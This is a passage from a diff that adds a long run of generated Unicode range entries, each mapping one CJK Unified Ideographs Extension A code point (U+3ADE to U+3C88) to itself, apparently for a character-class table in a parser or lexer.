+ ["\u3ADE", "\u3ADE"], /* CJK Ideograph Extension A */
+ ["\u3ADF", "\u3ADF"], /* CJK Ideograph Extension A */
+ ["\u3AE0", "\u3AE0"], /* CJK Ideograph Extension A */
+ ["\u3AE1", "\u3AE1"], /* CJK Ideograph Extension A */
+ ["\u3AE2", "\u3AE2"], /* CJK Ideograph Extension A */
+ ["\u3AE3", "\u3AE3"], /* CJK Ideograph Extension A */
+ ["\u3AE4", "\u3AE4"], /* CJK Ideograph Extension A */
+ ["\u3AE5", "\u3AE5"], /* CJK Ideograph Extension A */
+ ["\u3AE6", "\u3AE6"], /* CJK Ideograph Extension A */
+ ["\u3AE7", "\u3AE7"], /* CJK Ideograph Extension A */
+ ["\u3AE8", "\u3AE8"], /* CJK Ideograph Extension A */
+ ["\u3AE9", "\u3AE9"], /* CJK Ideograph Extension A */
+ ["\u3AEA", "\u3AEA"], /* CJK Ideograph Extension A */
+ ["\u3AEB", "\u3AEB"], /* CJK Ideograph Extension A */
+ ["\u3AEC", "\u3AEC"], /* CJK Ideograph Extension A */
+ ["\u3AED", "\u3AED"], /* CJK Ideograph Extension A */
+ ["\u3AEE", "\u3AEE"], /* CJK Ideograph Extension A */
+ ["\u3AEF", "\u3AEF"], /* CJK Ideograph Extension A */
+ ["\u3AF0", "\u3AF0"], /* CJK Ideograph Extension A */
+ ["\u3AF1", "\u3AF1"], /* CJK Ideograph Extension A */
+ ["\u3AF2", "\u3AF2"], /* CJK Ideograph Extension A */
+ ["\u3AF3", "\u3AF3"], /* CJK Ideograph Extension A */
+ ["\u3AF4", "\u3AF4"], /* CJK Ideograph Extension A */
+ ["\u3AF5", "\u3AF5"], /* CJK Ideograph Extension A */
+ ["\u3AF6", "\u3AF6"], /* CJK Ideograph Extension A */
+ ["\u3AF7", "\u3AF7"], /* CJK Ideograph Extension A */
+ ["\u3AF8", "\u3AF8"], /* CJK Ideograph Extension A */
+ ["\u3AF9", "\u3AF9"], /* CJK Ideograph Extension A */
+ ["\u3AFA", "\u3AFA"], /* CJK Ideograph Extension A */
+ ["\u3AFB", "\u3AFB"], /* CJK Ideograph Extension A */
+ ["\u3AFC", "\u3AFC"], /* CJK Ideograph Extension A */
+ ["\u3AFD", "\u3AFD"], /* CJK Ideograph Extension A */
+ ["\u3AFE", "\u3AFE"], /* CJK Ideograph Extension A */
+ ["\u3AFF", "\u3AFF"], /* CJK Ideograph Extension A */
+ ["\u3B00", "\u3B00"], /* CJK Ideograph Extension A */
+ ["\u3B01", "\u3B01"], /* CJK Ideograph Extension A */
+ ["\u3B02", "\u3B02"], /* CJK Ideograph Extension A */
+ ["\u3B03", "\u3B03"], /* CJK Ideograph Extension A */
+ ["\u3B04", "\u3B04"], /* CJK Ideograph Extension A */
+ ["\u3B05", "\u3B05"], /* CJK Ideograph Extension A */
+ ["\u3B06", "\u3B06"], /* CJK Ideograph Extension A */
+ ["\u3B07", "\u3B07"], /* CJK Ideograph Extension A */
+ ["\u3B08", "\u3B08"], /* CJK Ideograph Extension A */
+ ["\u3B09", "\u3B09"], /* CJK Ideograph Extension A */
+ ["\u3B0A", "\u3B0A"], /* CJK Ideograph Extension A */
+ ["\u3B0B", "\u3B0B"], /* CJK Ideograph Extension A */
+ ["\u3B0C", "\u3B0C"], /* CJK Ideograph Extension A */
+ ["\u3B0D", "\u3B0D"], /* CJK Ideograph Extension A */
+ ["\u3B0E", "\u3B0E"], /* CJK Ideograph Extension A */
+ ["\u3B0F", "\u3B0F"], /* CJK Ideograph Extension A */
+ ["\u3B10", "\u3B10"], /* CJK Ideograph Extension A */
+ ["\u3B11", "\u3B11"], /* CJK Ideograph Extension A */
+ ["\u3B12", "\u3B12"], /* CJK Ideograph Extension A */
+ ["\u3B13", "\u3B13"], /* CJK Ideograph Extension A */
+ ["\u3B14", "\u3B14"], /* CJK Ideograph Extension A */
+ ["\u3B15", "\u3B15"], /* CJK Ideograph Extension A */
+ ["\u3B16", "\u3B16"], /* CJK Ideograph Extension A */
+ ["\u3B17", "\u3B17"], /* CJK Ideograph Extension A */
+ ["\u3B18", "\u3B18"], /* CJK Ideograph Extension A */
+ ["\u3B19", "\u3B19"], /* CJK Ideograph Extension A */
+ ["\u3B1A", "\u3B1A"], /* CJK Ideograph Extension A */
+ ["\u3B1B", "\u3B1B"], /* CJK Ideograph Extension A */
+ ["\u3B1C", "\u3B1C"], /* CJK Ideograph Extension A */
+ ["\u3B1D", "\u3B1D"], /* CJK Ideograph Extension A */
+ ["\u3B1E", "\u3B1E"], /* CJK Ideograph Extension A */
+ ["\u3B1F", "\u3B1F"], /* CJK Ideograph Extension A */
+ ["\u3B20", "\u3B20"], /* CJK Ideograph Extension A */
+ ["\u3B21", "\u3B21"], /* CJK Ideograph Extension A */
+ ["\u3B22", "\u3B22"], /* CJK Ideograph Extension A */
+ ["\u3B23", "\u3B23"], /* CJK Ideograph Extension A */
+ ["\u3B24", "\u3B24"], /* CJK Ideograph Extension A */
+ ["\u3B25", "\u3B25"], /* CJK Ideograph Extension A */
+ ["\u3B26", "\u3B26"], /* CJK Ideograph Extension A */
+ ["\u3B27", "\u3B27"], /* CJK Ideograph Extension A */
+ ["\u3B28", "\u3B28"], /* CJK Ideograph Extension A */
+ ["\u3B29", "\u3B29"], /* CJK Ideograph Extension A */
+ ["\u3B2A", "\u3B2A"], /* CJK Ideograph Extension A */
+ ["\u3B2B", "\u3B2B"], /* CJK Ideograph Extension A */
+ ["\u3B2C", "\u3B2C"], /* CJK Ideograph Extension A */
+ ["\u3B2D", "\u3B2D"], /* CJK Ideograph Extension A */
+ ["\u3B2E", "\u3B2E"], /* CJK Ideograph Extension A */
+ ["\u3B2F", "\u3B2F"], /* CJK Ideograph Extension A */
+ ["\u3B30", "\u3B30"], /* CJK Ideograph Extension A */
+ ["\u3B31", "\u3B31"], /* CJK Ideograph Extension A */
+ ["\u3B32", "\u3B32"], /* CJK Ideograph Extension A */
+ ["\u3B33", "\u3B33"], /* CJK Ideograph Extension A */
+ ["\u3B34", "\u3B34"], /* CJK Ideograph Extension A */
+ ["\u3B35", "\u3B35"], /* CJK Ideograph Extension A */
+ ["\u3B36", "\u3B36"], /* CJK Ideograph Extension A */
+ ["\u3B37", "\u3B37"], /* CJK Ideograph Extension A */
+ ["\u3B38", "\u3B38"], /* CJK Ideograph Extension A */
+ ["\u3B39", "\u3B39"], /* CJK Ideograph Extension A */
+ ["\u3B3A", "\u3B3A"], /* CJK Ideograph Extension A */
+ ["\u3B3B", "\u3B3B"], /* CJK Ideograph Extension A */
+ ["\u3B3C", "\u3B3C"], /* CJK Ideograph Extension A */
+ ["\u3B3D", "\u3B3D"], /* CJK Ideograph Extension A */
+ ["\u3B3E", "\u3B3E"], /* CJK Ideograph Extension A */
+ ["\u3B3F", "\u3B3F"], /* CJK Ideograph Extension A */
+ ["\u3B40", "\u3B40"], /* CJK Ideograph Extension A */
+ ["\u3B41", "\u3B41"], /* CJK Ideograph Extension A */
+ ["\u3B42", "\u3B42"], /* CJK Ideograph Extension A */
+ ["\u3B43", "\u3B43"], /* CJK Ideograph Extension A */
+ ["\u3B44", "\u3B44"], /* CJK Ideograph Extension A */
+ ["\u3B45", "\u3B45"], /* CJK Ideograph Extension A */
+ ["\u3B46", "\u3B46"], /* CJK Ideograph Extension A */
+ ["\u3B47", "\u3B47"], /* CJK Ideograph Extension A */
+ ["\u3B48", "\u3B48"], /* CJK Ideograph Extension A */
+ ["\u3B49", "\u3B49"], /* CJK Ideograph Extension A */
+ ["\u3B4A", "\u3B4A"], /* CJK Ideograph Extension A */
+ ["\u3B4B", "\u3B4B"], /* CJK Ideograph Extension A */
+ ["\u3B4C", "\u3B4C"], /* CJK Ideograph Extension A */
+ ["\u3B4D", "\u3B4D"], /* CJK Ideograph Extension A */
+ ["\u3B4E", "\u3B4E"], /* CJK Ideograph Extension A */
+ ["\u3B4F", "\u3B4F"], /* CJK Ideograph Extension A */
+ ["\u3B50", "\u3B50"], /* CJK Ideograph Extension A */
+ ["\u3B51", "\u3B51"], /* CJK Ideograph Extension A */
+ ["\u3B52", "\u3B52"], /* CJK Ideograph Extension A */
+ ["\u3B53", "\u3B53"], /* CJK Ideograph Extension A */
+ ["\u3B54", "\u3B54"], /* CJK Ideograph Extension A */
+ ["\u3B55", "\u3B55"], /* CJK Ideograph Extension A */
+ ["\u3B56", "\u3B56"], /* CJK Ideograph Extension A */
+ ["\u3B57", "\u3B57"], /* CJK Ideograph Extension A */
+ ["\u3B58", "\u3B58"], /* CJK Ideograph Extension A */
+ ["\u3B59", "\u3B59"], /* CJK Ideograph Extension A */
+ ["\u3B5A", "\u3B5A"], /* CJK Ideograph Extension A */
+ ["\u3B5B", "\u3B5B"], /* CJK Ideograph Extension A */
+ ["\u3B5C", "\u3B5C"], /* CJK Ideograph Extension A */
+ ["\u3B5D", "\u3B5D"], /* CJK Ideograph Extension A */
+ ["\u3B5E", "\u3B5E"], /* CJK Ideograph Extension A */
+ ["\u3B5F", "\u3B5F"], /* CJK Ideograph Extension A */
+ ["\u3B60", "\u3B60"], /* CJK Ideograph Extension A */
+ ["\u3B61", "\u3B61"], /* CJK Ideograph Extension A */
+ ["\u3B62", "\u3B62"], /* CJK Ideograph Extension A */
+ ["\u3B63", "\u3B63"], /* CJK Ideograph Extension A */
+ ["\u3B64", "\u3B64"], /* CJK Ideograph Extension A */
+ ["\u3B65", "\u3B65"], /* CJK Ideograph Extension A */
+ ["\u3B66", "\u3B66"], /* CJK Ideograph Extension A */
+ ["\u3B67", "\u3B67"], /* CJK Ideograph Extension A */
+ ["\u3B68", "\u3B68"], /* CJK Ideograph Extension A */
+ ["\u3B69", "\u3B69"], /* CJK Ideograph Extension A */
+ ["\u3B6A", "\u3B6A"], /* CJK Ideograph Extension A */
+ ["\u3B6B", "\u3B6B"], /* CJK Ideograph Extension A */
+ ["\u3B6C", "\u3B6C"], /* CJK Ideograph Extension A */
+ ["\u3B6D", "\u3B6D"], /* CJK Ideograph Extension A */
+ ["\u3B6E", "\u3B6E"], /* CJK Ideograph Extension A */
+ ["\u3B6F", "\u3B6F"], /* CJK Ideograph Extension A */
+ ["\u3B70", "\u3B70"], /* CJK Ideograph Extension A */
+ ["\u3B71", "\u3B71"], /* CJK Ideograph Extension A */
+ ["\u3B72", "\u3B72"], /* CJK Ideograph Extension A */
+ ["\u3B73", "\u3B73"], /* CJK Ideograph Extension A */
+ ["\u3B74", "\u3B74"], /* CJK Ideograph Extension A */
+ ["\u3B75", "\u3B75"], /* CJK Ideograph Extension A */
+ ["\u3B76", "\u3B76"], /* CJK Ideograph Extension A */
+ ["\u3B77", "\u3B77"], /* CJK Ideograph Extension A */
+ ["\u3B78", "\u3B78"], /* CJK Ideograph Extension A */
+ ["\u3B79", "\u3B79"], /* CJK Ideograph Extension A */
+ ["\u3B7A", "\u3B7A"], /* CJK Ideograph Extension A */
+ ["\u3B7B", "\u3B7B"], /* CJK Ideograph Extension A */
+ ["\u3B7C", "\u3B7C"], /* CJK Ideograph Extension A */
+ ["\u3B7D", "\u3B7D"], /* CJK Ideograph Extension A */
+ ["\u3B7E", "\u3B7E"], /* CJK Ideograph Extension A */
+ ["\u3B7F", "\u3B7F"], /* CJK Ideograph Extension A */
+ ["\u3B80", "\u3B80"], /* CJK Ideograph Extension A */
+ ["\u3B81", "\u3B81"], /* CJK Ideograph Extension A */
+ ["\u3B82", "\u3B82"], /* CJK Ideograph Extension A */
+ ["\u3B83", "\u3B83"], /* CJK Ideograph Extension A */
+ ["\u3B84", "\u3B84"], /* CJK Ideograph Extension A */
+ ["\u3B85", "\u3B85"], /* CJK Ideograph Extension A */
+ ["\u3B86", "\u3B86"], /* CJK Ideograph Extension A */
+ ["\u3B87", "\u3B87"], /* CJK Ideograph Extension A */
+ ["\u3B88", "\u3B88"], /* CJK Ideograph Extension A */
+ ["\u3B89", "\u3B89"], /* CJK Ideograph Extension A */
+ ["\u3B8A", "\u3B8A"], /* CJK Ideograph Extension A */
+ ["\u3B8B", "\u3B8B"], /* CJK Ideograph Extension A */
+ ["\u3B8C", "\u3B8C"], /* CJK Ideograph Extension A */
+ ["\u3B8D", "\u3B8D"], /* CJK Ideograph Extension A */
+ ["\u3B8E", "\u3B8E"], /* CJK Ideograph Extension A */
+ ["\u3B8F", "\u3B8F"], /* CJK Ideograph Extension A */
+ ["\u3B90", "\u3B90"], /* CJK Ideograph Extension A */
+ ["\u3B91", "\u3B91"], /* CJK Ideograph Extension A */
+ ["\u3B92", "\u3B92"], /* CJK Ideograph Extension A */
+ ["\u3B93", "\u3B93"], /* CJK Ideograph Extension A */
+ ["\u3B94", "\u3B94"], /* CJK Ideograph Extension A */
+ ["\u3B95", "\u3B95"], /* CJK Ideograph Extension A */
+ ["\u3B96", "\u3B96"], /* CJK Ideograph Extension A */
+ ["\u3B97", "\u3B97"], /* CJK Ideograph Extension A */
+ ["\u3B98", "\u3B98"], /* CJK Ideograph Extension A */
+ ["\u3B99", "\u3B99"], /* CJK Ideograph Extension A */
+ ["\u3B9A", "\u3B9A"], /* CJK Ideograph Extension A */
+ ["\u3B9B", "\u3B9B"], /* CJK Ideograph Extension A */
+ ["\u3B9C", "\u3B9C"], /* CJK Ideograph Extension A */
+ ["\u3B9D", "\u3B9D"], /* CJK Ideograph Extension A */
+ ["\u3B9E", "\u3B9E"], /* CJK Ideograph Extension A */
+ ["\u3B9F", "\u3B9F"], /* CJK Ideograph Extension A */
+ ["\u3BA0", "\u3BA0"], /* CJK Ideograph Extension A */
+ ["\u3BA1", "\u3BA1"], /* CJK Ideograph Extension A */
+ ["\u3BA2", "\u3BA2"], /* CJK Ideograph Extension A */
+ ["\u3BA3", "\u3BA3"], /* CJK Ideograph Extension A */
+ ["\u3BA4", "\u3BA4"], /* CJK Ideograph Extension A */
+ ["\u3BA5", "\u3BA5"], /* CJK Ideograph Extension A */
+ ["\u3BA6", "\u3BA6"], /* CJK Ideograph Extension A */
+ ["\u3BA7", "\u3BA7"], /* CJK Ideograph Extension A */
+ ["\u3BA8", "\u3BA8"], /* CJK Ideograph Extension A */
+ ["\u3BA9", "\u3BA9"], /* CJK Ideograph Extension A */
+ ["\u3BAA", "\u3BAA"], /* CJK Ideograph Extension A */
+ ["\u3BAB", "\u3BAB"], /* CJK Ideograph Extension A */
+ ["\u3BAC", "\u3BAC"], /* CJK Ideograph Extension A */
+ ["\u3BAD", "\u3BAD"], /* CJK Ideograph Extension A */
+ ["\u3BAE", "\u3BAE"], /* CJK Ideograph Extension A */
+ ["\u3BAF", "\u3BAF"], /* CJK Ideograph Extension A */
+ ["\u3BB0", "\u3BB0"], /* CJK Ideograph Extension A */
+ ["\u3BB1", "\u3BB1"], /* CJK Ideograph Extension A */
+ ["\u3BB2", "\u3BB2"], /* CJK Ideograph Extension A */
+ ["\u3BB3", "\u3BB3"], /* CJK Ideograph Extension A */
+ ["\u3BB4", "\u3BB4"], /* CJK Ideograph Extension A */
+ ["\u3BB5", "\u3BB5"], /* CJK Ideograph Extension A */
+ ["\u3BB6", "\u3BB6"], /* CJK Ideograph Extension A */
+ ["\u3BB7", "\u3BB7"], /* CJK Ideograph Extension A */
+ ["\u3BB8", "\u3BB8"], /* CJK Ideograph Extension A */
+ ["\u3BB9", "\u3BB9"], /* CJK Ideograph Extension A */
+ ["\u3BBA", "\u3BBA"], /* CJK Ideograph Extension A */
+ ["\u3BBB", "\u3BBB"], /* CJK Ideograph Extension A */
+ ["\u3BBC", "\u3BBC"], /* CJK Ideograph Extension A */
+ ["\u3BBD", "\u3BBD"], /* CJK Ideograph Extension A */
+ ["\u3BBE", "\u3BBE"], /* CJK Ideograph Extension A */
+ ["\u3BBF", "\u3BBF"], /* CJK Ideograph Extension A */
+ ["\u3BC0", "\u3BC0"], /* CJK Ideograph Extension A */
+ ["\u3BC1", "\u3BC1"], /* CJK Ideograph Extension A */
+ ["\u3BC2", "\u3BC2"], /* CJK Ideograph Extension A */
+ ["\u3BC3", "\u3BC3"], /* CJK Ideograph Extension A */
+ ["\u3BC4", "\u3BC4"], /* CJK Ideograph Extension A */
+ ["\u3BC5", "\u3BC5"], /* CJK Ideograph Extension A */
+ ["\u3BC6", "\u3BC6"], /* CJK Ideograph Extension A */
+ ["\u3BC7", "\u3BC7"], /* CJK Ideograph Extension A */
+ ["\u3BC8", "\u3BC8"], /* CJK Ideograph Extension A */
+ ["\u3BC9", "\u3BC9"], /* CJK Ideograph Extension A */
+ ["\u3BCA", "\u3BCA"], /* CJK Ideograph Extension A */
+ ["\u3BCB", "\u3BCB"], /* CJK Ideograph Extension A */
+ ["\u3BCC", "\u3BCC"], /* CJK Ideograph Extension A */
+ ["\u3BCD", "\u3BCD"], /* CJK Ideograph Extension A */
+ ["\u3BCE", "\u3BCE"], /* CJK Ideograph Extension A */
+ ["\u3BCF", "\u3BCF"], /* CJK Ideograph Extension A */
+ ["\u3BD0", "\u3BD0"], /* CJK Ideograph Extension A */
+ ["\u3BD1", "\u3BD1"], /* CJK Ideograph Extension A */
+ ["\u3BD2", "\u3BD2"], /* CJK Ideograph Extension A */
+ ["\u3BD3", "\u3BD3"], /* CJK Ideograph Extension A */
+ ["\u3BD4", "\u3BD4"], /* CJK Ideograph Extension A */
+ ["\u3BD5", "\u3BD5"], /* CJK Ideograph Extension A */
+ ["\u3BD6", "\u3BD6"], /* CJK Ideograph Extension A */
+ ["\u3BD7", "\u3BD7"], /* CJK Ideograph Extension A */
+ ["\u3BD8", "\u3BD8"], /* CJK Ideograph Extension A */
+ ["\u3BD9", "\u3BD9"], /* CJK Ideograph Extension A */
+ ["\u3BDA", "\u3BDA"], /* CJK Ideograph Extension A */
+ ["\u3BDB", "\u3BDB"], /* CJK Ideograph Extension A */
+ ["\u3BDC", "\u3BDC"], /* CJK Ideograph Extension A */
+ ["\u3BDD", "\u3BDD"], /* CJK Ideograph Extension A */
+ ["\u3BDE", "\u3BDE"], /* CJK Ideograph Extension A */
+ ["\u3BDF", "\u3BDF"], /* CJK Ideograph Extension A */
+ ["\u3BE0", "\u3BE0"], /* CJK Ideograph Extension A */
+ ["\u3BE1", "\u3BE1"], /* CJK Ideograph Extension A */
+ ["\u3BE2", "\u3BE2"], /* CJK Ideograph Extension A */
+ ["\u3BE3", "\u3BE3"], /* CJK Ideograph Extension A */
+ ["\u3BE4", "\u3BE4"], /* CJK Ideograph Extension A */
+ ["\u3BE5", "\u3BE5"], /* CJK Ideograph Extension A */
+ ["\u3BE6", "\u3BE6"], /* CJK Ideograph Extension A */
+ ["\u3BE7", "\u3BE7"], /* CJK Ideograph Extension A */
+ ["\u3BE8", "\u3BE8"], /* CJK Ideograph Extension A */
+ ["\u3BE9", "\u3BE9"], /* CJK Ideograph Extension A */
+ ["\u3BEA", "\u3BEA"], /* CJK Ideograph Extension A */
+ ["\u3BEB", "\u3BEB"], /* CJK Ideograph Extension A */
+ ["\u3BEC", "\u3BEC"], /* CJK Ideograph Extension A */
+ ["\u3BED", "\u3BED"], /* CJK Ideograph Extension A */
+ ["\u3BEE", "\u3BEE"], /* CJK Ideograph Extension A */
+ ["\u3BEF", "\u3BEF"], /* CJK Ideograph Extension A */
+ ["\u3BF0", "\u3BF0"], /* CJK Ideograph Extension A */
+ ["\u3BF1", "\u3BF1"], /* CJK Ideograph Extension A */
+ ["\u3BF2", "\u3BF2"], /* CJK Ideograph Extension A */
+ ["\u3BF3", "\u3BF3"], /* CJK Ideograph Extension A */
+ ["\u3BF4", "\u3BF4"], /* CJK Ideograph Extension A */
+ ["\u3BF5", "\u3BF5"], /* CJK Ideograph Extension A */
+ ["\u3BF6", "\u3BF6"], /* CJK Ideograph Extension A */
+ ["\u3BF7", "\u3BF7"], /* CJK Ideograph Extension A */
+ ["\u3BF8", "\u3BF8"], /* CJK Ideograph Extension A */
+ ["\u3BF9", "\u3BF9"], /* CJK Ideograph Extension A */
+ ["\u3BFA", "\u3BFA"], /* CJK Ideograph Extension A */
+ ["\u3BFB", "\u3BFB"], /* CJK Ideograph Extension A */
+ ["\u3BFC", "\u3BFC"], /* CJK Ideograph Extension A */
+ ["\u3BFD", "\u3BFD"], /* CJK Ideograph Extension A */
+ ["\u3BFE", "\u3BFE"], /* CJK Ideograph Extension A */
+ ["\u3BFF", "\u3BFF"], /* CJK Ideograph Extension A */
+ ["\u3C00", "\u3C00"], /* CJK Ideograph Extension A */
+ ["\u3C01", "\u3C01"], /* CJK Ideograph Extension A */
+ ["\u3C02", "\u3C02"], /* CJK Ideograph Extension A */
+ ["\u3C03", "\u3C03"], /* CJK Ideograph Extension A */
+ ["\u3C04", "\u3C04"], /* CJK Ideograph Extension A */
+ ["\u3C05", "\u3C05"], /* CJK Ideograph Extension A */
+ ["\u3C06", "\u3C06"], /* CJK Ideograph Extension A */
+ ["\u3C07", "\u3C07"], /* CJK Ideograph Extension A */
+ ["\u3C08", "\u3C08"], /* CJK Ideograph Extension A */
+ ["\u3C09", "\u3C09"], /* CJK Ideograph Extension A */
+ ["\u3C0A", "\u3C0A"], /* CJK Ideograph Extension A */
+ ["\u3C0B", "\u3C0B"], /* CJK Ideograph Extension A */
+ ["\u3C0C", "\u3C0C"], /* CJK Ideograph Extension A */
+ ["\u3C0D", "\u3C0D"], /* CJK Ideograph Extension A */
+ ["\u3C0E", "\u3C0E"], /* CJK Ideograph Extension A */
+ ["\u3C0F", "\u3C0F"], /* CJK Ideograph Extension A */
+ ["\u3C10", "\u3C10"], /* CJK Ideograph Extension A */
+ ["\u3C11", "\u3C11"], /* CJK Ideograph Extension A */
+ ["\u3C12", "\u3C12"], /* CJK Ideograph Extension A */
+ ["\u3C13", "\u3C13"], /* CJK Ideograph Extension A */
+ ["\u3C14", "\u3C14"], /* CJK Ideograph Extension A */
+ ["\u3C15", "\u3C15"], /* CJK Ideograph Extension A */
+ ["\u3C16", "\u3C16"], /* CJK Ideograph Extension A */
+ ["\u3C17", "\u3C17"], /* CJK Ideograph Extension A */
+ ["\u3C18", "\u3C18"], /* CJK Ideograph Extension A */
+ ["\u3C19", "\u3C19"], /* CJK Ideograph Extension A */
+ ["\u3C1A", "\u3C1A"], /* CJK Ideograph Extension A */
+ ["\u3C1B", "\u3C1B"], /* CJK Ideograph Extension A */
+ ["\u3C1C", "\u3C1C"], /* CJK Ideograph Extension A */
+ ["\u3C1D", "\u3C1D"], /* CJK Ideograph Extension A */
+ ["\u3C1E", "\u3C1E"], /* CJK Ideograph Extension A */
+ ["\u3C1F", "\u3C1F"], /* CJK Ideograph Extension A */
+ ["\u3C20", "\u3C20"], /* CJK Ideograph Extension A */
+ ["\u3C21", "\u3C21"], /* CJK Ideograph Extension A */
+ ["\u3C22", "\u3C22"], /* CJK Ideograph Extension A */
+ ["\u3C23", "\u3C23"], /* CJK Ideograph Extension A */
+ ["\u3C24", "\u3C24"], /* CJK Ideograph Extension A */
+ ["\u3C25", "\u3C25"], /* CJK Ideograph Extension A */
+ ["\u3C26", "\u3C26"], /* CJK Ideograph Extension A */
+ ["\u3C27", "\u3C27"], /* CJK Ideograph Extension A */
+ ["\u3C28", "\u3C28"], /* CJK Ideograph Extension A */
+ ["\u3C29", "\u3C29"], /* CJK Ideograph Extension A */
+ ["\u3C2A", "\u3C2A"], /* CJK Ideograph Extension A */
+ ["\u3C2B", "\u3C2B"], /* CJK Ideograph Extension A */
+ ["\u3C2C", "\u3C2C"], /* CJK Ideograph Extension A */
+ ["\u3C2D", "\u3C2D"], /* CJK Ideograph Extension A */
+ ["\u3C2E", "\u3C2E"], /* CJK Ideograph Extension A */
+ ["\u3C2F", "\u3C2F"], /* CJK Ideograph Extension A */
+ ["\u3C30", "\u3C30"], /* CJK Ideograph Extension A */
+ ["\u3C31", "\u3C31"], /* CJK Ideograph Extension A */
+ ["\u3C32", "\u3C32"], /* CJK Ideograph Extension A */
+ ["\u3C33", "\u3C33"], /* CJK Ideograph Extension A */
+ ["\u3C34", "\u3C34"], /* CJK Ideograph Extension A */
+ ["\u3C35", "\u3C35"], /* CJK Ideograph Extension A */
+ ["\u3C36", "\u3C36"], /* CJK Ideograph Extension A */
+ ["\u3C37", "\u3C37"], /* CJK Ideograph Extension A */
+ ["\u3C38", "\u3C38"], /* CJK Ideograph Extension A */
+ ["\u3C39", "\u3C39"], /* CJK Ideograph Extension A */
+ ["\u3C3A", "\u3C3A"], /* CJK Ideograph Extension A */
+ ["\u3C3B", "\u3C3B"], /* CJK Ideograph Extension A */
+ ["\u3C3C", "\u3C3C"], /* CJK Ideograph Extension A */
+ ["\u3C3D", "\u3C3D"], /* CJK Ideograph Extension A */
+ ["\u3C3E", "\u3C3E"], /* CJK Ideograph Extension A */
+ ["\u3C3F", "\u3C3F"], /* CJK Ideograph Extension A */
+ ["\u3C40", "\u3C40"], /* CJK Ideograph Extension A */
+ ["\u3C41", "\u3C41"], /* CJK Ideograph Extension A */
+ ["\u3C42", "\u3C42"], /* CJK Ideograph Extension A */
+ ["\u3C43", "\u3C43"], /* CJK Ideograph Extension A */
+ ["\u3C44", "\u3C44"], /* CJK Ideograph Extension A */
+ ["\u3C45", "\u3C45"], /* CJK Ideograph Extension A */
+ ["\u3C46", "\u3C46"], /* CJK Ideograph Extension A */
+ ["\u3C47", "\u3C47"], /* CJK Ideograph Extension A */
+ ["\u3C48", "\u3C48"], /* CJK Ideograph Extension A */
+ ["\u3C49", "\u3C49"], /* CJK Ideograph Extension A */
+ ["\u3C4A", "\u3C4A"], /* CJK Ideograph Extension A */
+ ["\u3C4B", "\u3C4B"], /* CJK Ideograph Extension A */
+ ["\u3C4C", "\u3C4C"], /* CJK Ideograph Extension A */
+ ["\u3C4D", "\u3C4D"], /* CJK Ideograph Extension A */
+ ["\u3C4E", "\u3C4E"], /* CJK Ideograph Extension A */
+ ["\u3C4F", "\u3C4F"], /* CJK Ideograph Extension A */
+ ["\u3C50", "\u3C50"], /* CJK Ideograph Extension A */
+ ["\u3C51", "\u3C51"], /* CJK Ideograph Extension A */
+ ["\u3C52", "\u3C52"], /* CJK Ideograph Extension A */
+ ["\u3C53", "\u3C53"], /* CJK Ideograph Extension A */
+ ["\u3C54", "\u3C54"], /* CJK Ideograph Extension A */
+ ["\u3C55", "\u3C55"], /* CJK Ideograph Extension A */
+ ["\u3C56", "\u3C56"], /* CJK Ideograph Extension A */
+ ["\u3C57", "\u3C57"], /* CJK Ideograph Extension A */
+ ["\u3C58", "\u3C58"], /* CJK Ideograph Extension A */
+ ["\u3C59", "\u3C59"], /* CJK Ideograph Extension A */
+ ["\u3C5A", "\u3C5A"], /* CJK Ideograph Extension A */
+ ["\u3C5B", "\u3C5B"], /* CJK Ideograph Extension A */
+ ["\u3C5C", "\u3C5C"], /* CJK Ideograph Extension A */
+ ["\u3C5D", "\u3C5D"], /* CJK Ideograph Extension A */
+ ["\u3C5E", "\u3C5E"], /* CJK Ideograph Extension A */
+ ["\u3C5F", "\u3C5F"], /* CJK Ideograph Extension A */
+ ["\u3C60", "\u3C60"], /* CJK Ideograph Extension A */
+ ["\u3C61", "\u3C61"], /* CJK Ideograph Extension A */
+ ["\u3C62", "\u3C62"], /* CJK Ideograph Extension A */
+ ["\u3C63", "\u3C63"], /* CJK Ideograph Extension A */
+ ["\u3C64", "\u3C64"], /* CJK Ideograph Extension A */
+ ["\u3C65", "\u3C65"], /* CJK Ideograph Extension A */
+ ["\u3C66", "\u3C66"], /* CJK Ideograph Extension A */
+ ["\u3C67", "\u3C67"], /* CJK Ideograph Extension A */
+ ["\u3C68", "\u3C68"], /* CJK Ideograph Extension A */
+ ["\u3C69", "\u3C69"], /* CJK Ideograph Extension A */
+ ["\u3C6A", "\u3C6A"], /* CJK Ideograph Extension A */
+ ["\u3C6B", "\u3C6B"], /* CJK Ideograph Extension A */
+ ["\u3C6C", "\u3C6C"], /* CJK Ideograph Extension A */
+ ["\u3C6D", "\u3C6D"], /* CJK Ideograph Extension A */
+ ["\u3C6E", "\u3C6E"], /* CJK Ideograph Extension A */
+ ["\u3C6F", "\u3C6F"], /* CJK Ideograph Extension A */
+ ["\u3C70", "\u3C70"], /* CJK Ideograph Extension A */
+ ["\u3C71", "\u3C71"], /* CJK Ideograph Extension A */
+ ["\u3C72", "\u3C72"], /* CJK Ideograph Extension A */
+ ["\u3C73", "\u3C73"], /* CJK Ideograph Extension A */
+ ["\u3C74", "\u3C74"], /* CJK Ideograph Extension A */
+ ["\u3C75", "\u3C75"], /* CJK Ideograph Extension A */
+ ["\u3C76", "\u3C76"], /* CJK Ideograph Extension A */
+ ["\u3C77", "\u3C77"], /* CJK Ideograph Extension A */
+ ["\u3C78", "\u3C78"], /* CJK Ideograph Extension A */
+ ["\u3C79", "\u3C79"], /* CJK Ideograph Extension A */
+ ["\u3C7A", "\u3C7A"], /* CJK Ideograph Extension A */
+ ["\u3C7B", "\u3C7B"], /* CJK Ideograph Extension A */
+ ["\u3C7C", "\u3C7C"], /* CJK Ideograph Extension A */
+ ["\u3C7D", "\u3C7D"], /* CJK Ideograph Extension A */
+ ["\u3C7E", "\u3C7E"], /* CJK Ideograph Extension A */
+ ["\u3C7F", "\u3C7F"], /* CJK Ideograph Extension A */
+ ["\u3C80", "\u3C80"], /* CJK Ideograph Extension A */
+ ["\u3C81", "\u3C81"], /* CJK Ideograph Extension A */
+ ["\u3C82", "\u3C82"], /* CJK Ideograph Extension A */
+ ["\u3C83", "\u3C83"], /* CJK Ideograph Extension A */
+ ["\u3C84", "\u3C84"], /* CJK Ideograph Extension A */
+ ["\u3C85", "\u3C85"], /* CJK Ideograph Extension A */
+ ["\u3C86", "\u3C86"], /* CJK Ideograph Extension A */
+ ["\u3C87", "\u3C87"], /* CJK Ideograph Extension A */
+ ["\u3C88", "\u3C88"], /* CJK Ideograph Extension A */
